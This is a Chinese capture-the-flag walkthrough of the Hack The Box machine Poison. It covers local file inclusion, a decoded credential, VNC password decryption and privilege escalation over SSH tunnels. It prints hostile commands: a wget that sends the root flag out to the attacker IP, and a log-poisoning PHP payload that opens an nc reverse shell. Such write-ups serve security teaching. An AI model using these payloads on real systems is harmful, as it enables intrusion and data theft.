HTB靶机013-Poison-WP

news/2024/5/10 21:50:04

013-Poison

在这里插入图片描述

靶机IP:

10.10.10.84

Scan

Nmap 快速扫描:

┌──(xavier㉿kali)-[~]
└─$ sudo nmap -sSV -T4 10.10.10.84 -F
Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-30 16:41 CST
Nmap scan report for 10.10.10.84
Host is up (0.27s latency).
Not shown: 98 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2 (FreeBSD 20161230; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.29 ((FreeBSD) PHP/5.6.32)
Service Info: OS: FreeBSD; CPE: cpe:/o:freebsd:freebsdService detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.72 seconds

Nmap 全端口扫描,结果也是一样。

Web

80端口Web服务访问如图:
在这里插入图片描述

翻译:

用于测试本地 .php 脚本的临时网站。
待测站点:ini.php、info.php、listfiles.php、phpinfo.php

试下输入phpinfo.php,结果如图:
在这里插入图片描述

文件包含

这个链接形式http://10.10.10.84/browse.php?file=phpinfo.php,猜测是否存在文件包含漏洞。

访问/etc/passwd:

在这里插入图片描述

直接包含/home/charix/user.txt/root/root.txt报错,权限错误。

在这里插入图片描述

通过phpinfo查看配置,allow_url_include为off,放弃远程文件包含。

刚才看了phpinfo.php,再看一下其他文件,有个listfiles.php,结果如下:

Array ( [0] => . [1] => .. [2] => browse.php [3] => index.php [4] => info.php [5] => ini.php [6] => listfiles.php [7] => phpinfo.php [8] => pwdbackup.txt ) 

在这里插入图片描述

包涵下pwdbackup.txt看看

在这里插入图片描述

对这个字符串进行base64解码,多重复几次

Vm0wd2QyUXlVWGxWV0d4WFlURndVRlpzWkZOalJsWjBUVlpPV0ZKc2JETlhhMk0xVmpKS1IySkVU bGhoTVVwVVZtcEdZV015U2tWVQpiR2hvVFZWd1ZWWnRjRWRUTWxKSVZtdGtXQXBpUm5CUFdWZDBS bVZHV25SalJYUlVUVlUxU1ZadGRGZFZaM0JwVmxad1dWWnRNVFJqCk1EQjRXa1prWVZKR1NsVlVW M040VGtaa2NtRkdaR2hWV0VKVVdXeGFTMVZHWkZoTlZGSlRDazFFUWpSV01qVlRZVEZLYzJOSVRs WmkKV0doNlZHeGFZVk5IVWtsVWJXaFdWMFZLVlZkWGVHRlRNbEY0VjI1U2ExSXdXbUZEYkZwelYy eG9XR0V4Y0hKWFZscExVakZPZEZKcwpaR2dLWVRCWk1GWkhkR0ZaVms1R1RsWmtZVkl5YUZkV01G WkxWbFprV0dWSFJsUk5WbkJZVmpKMGExWnRSWHBWYmtKRVlYcEdlVmxyClVsTldNREZ4Vm10NFYw MXVUak5hVm1SSFVqRldjd3BqUjJ0TFZXMDFRMkl4WkhOYVJGSlhUV3hLUjFSc1dtdFpWa2w1WVVa T1YwMUcKV2t4V2JGcHJWMGRXU0dSSGJFNWlSWEEyVmpKMFlXRXhXblJTV0hCV1ltczFSVmxzVm5k WFJsbDVDbVJIT1ZkTlJFWjRWbTEwTkZkRwpXbk5qUlhoV1lXdGFVRmw2UmxkamQzQlhZa2RPVEZk WGRHOVJiVlp6VjI1U2FsSlhVbGRVVmxwelRrWlplVTVWT1ZwV2EydzFXVlZhCmExWXdNVWNLVjJ0 NFYySkdjR2hhUlZWNFZsWkdkR1JGTldoTmJtTjNWbXBLTUdJeFVYaGlSbVJWWVRKb1YxbHJWVEZT Vm14elZteHcKVG1KR2NEQkRiVlpJVDFaa2FWWllRa3BYVmxadlpERlpkd3BOV0VaVFlrZG9hRlZz WkZOWFJsWnhVbXM1YW1RelFtaFZiVEZQVkVaawpXR1ZHV210TmJFWTBWakowVjFVeVNraFZiRnBW VmpOU00xcFhlRmRYUjFaSFdrWldhVkpZUW1GV2EyUXdDazVHU2tkalJGbExWRlZTCmMxSkdjRFpO Ukd4RVdub3dPVU5uUFQwSwo= 

最后解码了13次得到明文:

Charix!2#4%6&8(0

first shell

通过SSH使用上述密码登录

┌──(xavier㉿kali)-[~/Desktop/HTB/013-Poison]
└─$ ssh charix@10.10.10.84                                 charix@Poison:~ % id
uid=1001(charix) gid=1001(charix) groups=1001(charix)
charix@Poison:~ % ls
secret.zip      user.txt
charix@Poison:~ % cat user.txt 
eaacdfb2d141b72a589233063604209c
charix@Poison:~ % 

通过Python传输secret.zip

charix@Poison:~ % whereis python
python: /usr/local/bin/python /usr/ports/lang/python
charix@Poison:~ % python --version
Python 2.7.14
charix@Poison:~ % python -m SimpleHTTPServer
Serving HTTP on 0.0.0.0 port 8000 ...
10.10.14.22 - - [30/Apr/2023 13:26:00] "GET /secret.zip HTTP/1.1" 200 -

同时也上传 linpeas.sh进行信息搜集

charix@Poison:~ % wget http://10.10.14.22/linpeas.sh
charix@Poison:~ % ls -l
total 808
-rw-r--r--  1 charix  charix  776073 Mar 29  2022 linpeas.sh
-rw-r-----  1 root    charix     166 Mar 19  2018 secret.zip
-rw-r-----  1 root    charix      33 Mar 19  2018 user.txt
charix@Poison:~ % chmod +x linpeas.sh 
charix@Poison:~ % ./linpeas.sh > result.txt

解压secret.zip,发现需要密码,使用之前的ssh密码成功解密:

┌──(xavier㉿kali)-[~/Desktop/HTB/013-Poison]
└─$ unzip secret.zip                       
Archive:  secret.zip
[secret.zip] secret password: extracting: secret ┌──(xavier㉿kali)-[~/Desktop/HTB/013-Poison]
└─$ ls -l
总计 68
-rw-r--r-- 1 xavier xavier 58027  4月30日 19:34 result.txt
-r--r--r-- 1 xavier xavier     8 20181月24日 secret
-rw-r--r-- 1 xavier xavier   166 20183月19日 secret.zip

但是发现是乱码,暂时不知道有什么用,暂时搁置。

┌──(xavier㉿kali)-[~/Desktop/HTB/013-Poison]
└─$ cat secret    
��[|Ֆz!  
┌──(xavier㉿kali)-[~/Desktop/HTB/013-Poison]
└─$ xxd secret        
00000000: bda8 5b7c d596 7a21                      ..[|..z!

在这里插入图片描述

考虑bda85b7cd5967a21可能是MD5,通过hashcat碰撞失败

root shell

查看linpeas的输出结果,寻找提权的方法。

path变量中有/home/charix/bin/,没找到利用方法。

/etc/passwd中除了root用户,还有toor用户,有没有可能用上?

进程中有vnc,寻找利用方法。
在这里插入图片描述

Xvnc :1 -desktop X -httpd /usr/local/share/tightvnc/classes -auth /root/.Xauthority -geometry 1280x800 -depth 24 -rfbwait 120000 -rfbauth /root/.vnc/passwd -rfbport 5901 -localhost -nolisten tcp :1

解释一下命令行选项:

  • :1 - 显示编号 1
  • -rfbauth /root/.vnc/passwd - 指定密码认证文件
  • -rfbport 5901 - 连接端口
  • localhost - 本地监听

这里提到了5901端口,再查一遍端口列表信息:

charix@Poison:~ % netstat -anl
Active Internet connections (including servers)
Proto Recv-Q Send-Q Local Address        Foreign Address         (state)
tcp4       0      0 127.0.0.1.5801       *.*                     LISTEN
tcp4       0      0 127.0.0.1.5901       *.*                     LISTEN
...

在这里插入图片描述

想用netstat -anlp查看具体的进程,但是失败了,不支持-p选项。

sockstat -l进行查看

在这里插入图片描述

SSH端口转发

使用SSH进行端口转发,在Kali上运行:

ssh -L 5801:127.0.0.1:5801 charix@10.10.10.84
ssh -L 5901:127.0.0.1:5901 charix@10.10.10.84

在这里插入图片描述

这里指定-fN,可以让ssh端口转发处于后台

ssh -L 5801:127.0.0.1:5801 -fN charix@10.10.10.84
ssh -L 5901:127.0.0.1:5901 -fN charix@10.10.10.84
SSH选项说明:
-C    请求压缩所有数据
-D    动态端口转发 
-f    后台执行SSH指令
-g    允许远程主机连接主机的转发端口
-L    本地转发 
-N    不执行远程命令,处于等待状态(不加-N会直接登录)
-R    远程转发

nmap对本地127.0.0.1的5801/5901端口进行扫描:

┌──(xavier㉿kali)-[~]
└─$ sudo nmap -sSV -T4 127.0.0.1 -p5801,5901
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-01 01:37 CST
Nmap scan report for localhost (127.0.0.1)
Host is up (0.000041s latency).PORT     STATE SERVICE VERSION
5801/tcp open  http    Bacula http config
5901/tcp open  vnc     VNC (protocol 3.8)Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.73 seconds

然后通过VNC进行连接

┌──(xavier㉿kali)-[~]
└─$ vncviewer 127.0.0.1:5901
Connected to RFB server, using protocol version 3.8
Enabling TightVNC protocol extensions
Performing standard VNC authentication
Password: 

在这里插入图片描述

发现需要密码,这个密码应该就是之前secret中的数据。

VNC连接

# 看WP发现,其实可以不解密,直接连接
vncviewer -passwd /root/htb/Poison/secret 127.0.0.1::5901

对secret文件进行解密,bda85b7cd5967a21

github找了个方便易用的:https://github.com/billchaison/VNCDecrypt

echo -n bda85b7cd5967a21 | xxd -r -p | openssl enc -des-cbc --nopad --nosalt -K e84ad660c4721ae0 -iv 0000000000000000 -d -provider legacy -provider default | hexdump -Cv

在这里插入图片描述

在这个场景下,可以对上述命令进行一个优化:

┌──(xavier㉿kali)-[~/Desktop/HTB/013-Poison]
└─$ cat secret | openssl enc -des-cbc --nopad --nosalt -K e84ad660c4721ae0 -iv 0000000000000000 -d
VNCP@$$!

在这里插入图片描述

然后再通过vnc进行连接:

┌──(xavier㉿kali)-[~]
└─$ vncviewer 127.0.0.1:5901
Connected to RFB server, using protocol version 3.8
Enabling TightVNC protocol extensions
Performing standard VNC authentication
Password: 
Authentication successful
Desktop name "root's X desktop (Poison:1)"
VNC server default format:32 bits per pixel.Least significant byte first in each pixel.True colour: max red 255 green 255 blue 255, shift red 16 green 8 blue 0
Using default colormap which is TrueColor.  Pixel format:32 bits per pixel.Least significant byte first in each pixel.True colour: max red 255 green 255 blue 255, shift red 16 green 8 blue 0
Same machine: preferring raw encoding

VNC连接的话,由于网络原因,可能会出现弹窗,然后长时间白屏的情况,耐心等待即可。

在这里插入图片描述

这里面flag不太好复制,最后用了如下方法带出:

root@Poison:~ # wget http://10.10.14.22/`cat /root/root.txt`
716d04b188419cf2bb99d891272361f5

在这里插入图片描述

复盘扩展

包含日志getshell

文件包含漏洞配合日志文件可获取webshell

这里的日志文件位置在/var/log/httpd-access.log,日志记录User-Agent、IP、时间、用户输入等,可以使用如下payload污染日志文件:

GET /browse.php?file=<?php+echo+'test';?> HTTP/1.1
Host: 10.10.10.84
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) <?php system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.22 8888 >/tmp/f'); ?> Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close

然后通过文件包含漏洞包含日志文件,触发PHP代码解析

?file=/var/log/httpd-access.log

这就拿到了webshell。

SSH 远程转发

之前用的方法是SSH本地转发,也可以使用远程转发。

在受害机10.10.10.84上执行如下命令:

$ ssh -fN kali@10.10.14.22 -R 5901:localhost:5901
kali@10.10.14.22's password:

之后也是访问kali的本地5901端口。

参考文章


http://wed.xjx100/news/198275.html

相关文章

数据库中的几项区别

mysql中in和exists区别 mysql中的in语句是把外表和内表作hash 连接&#xff0c;而exists语句是对外表作loop 循环&#xff0c;每次loop循环再对内表进行查询。一直大家都认为exists比in语句的效率要高&#xff0c;这种说法其实是不 准确的。这个是要区分环境的。 1. 如…

Netty核心组件模块(一)

1.Bootstrap和ServerBootstrap 1>.Bootstrap意思是引导,一个Netty应用通常由一个Bootstrap开始,主要作用是配置整个Netty程序,串联各个组件,Netty中Bootstrap类是客户端程序的启动引导类,ServerBootstrap是服务端启动引导类; 2>.常见的方法有: ①.public ServerBootstr…

动态规划——带权活动选择

带权活动选择Time Limit: 3000 MSMemory Limit: 1000 KB Description 给定n个活动&#xff0c;活动ai表示为一个三元组(si,fi,vi)&#xff0c;其中si表示活动开始时间&#xff0c;fi表示活动的结束时间&#xff0c;vi表示活动的权重, si<fi。带权活动选择问题是选择一些活…

有意思的各类算法,思维题目分享

1.统计子矩阵 思路&#xff1a;二维前缀和超时&#xff0c;下面是前缀和加双指针&#xff0c;对列前缀和&#xff0c;两个玄幻控制行号&#xff0c;双指针控制列的移动 考查&#xff1a;前缀和双指针 import os import sys# 请在此输入您的代码 # 矩阵大小 N M n,m,kmap(int,…

用 CSS 自定义滚动条

简介 首先需要介绍一下滚动条的组成部分。滚动条包含 track 和 thumb&#xff0c;如下图所示&#xff1a; track是滚动条的基础&#xff0c;其中的 thumb是用户拖动支页面或章节内的滚动。 案例&#xff1a; 案例代码&#xff1a; <!DOCTYPE html> <html><he…

【C++】-模板初阶(函数和类模板)

作者&#xff1a;小树苗渴望变成参天大树 作者宣言&#xff1a;认真写好每一篇博客 作者gitee:gitee 作者专栏&#xff1a;C语言,数据结构初阶,Linux,C 如 果 你 喜 欢 作 者 的 文 章 &#xff0c;就 给 作 者 点 点 关 注 吧&#xff01; 文章目录 前言一、为什么要模板&…

MindMaster思维导图及亿图图示会员 优惠活动

MindMaster思维导图及亿图图示会员 超值获取途径 会员九折优惠方法分享给大家&#xff01;如果有需要&#xff0c;可以上~ 以下是食用方法&#xff1a; MindMaster 截图 亿图图示 截图 如果需要MindMaster思维导图或者亿图图示会员&#xff0c;可按照如下操作领取超值折扣优惠…

VP记录:Codeforces Round 873 (Div. 2) A~D1

传送门:CF 前题提要:因为本场比赛的D题让我十分难受.刚开始以为 r − l 1 r-l1 r−l1与 r − l r-l r−l应该没什么不同.但是做的时候发现假设是 r − l 1 r-l1 r−l1的话我们可以使用线段树来维护,但是 r − l r-l r−l就让线段树维护的难度大大增加,这导致我十分烦躁,所以…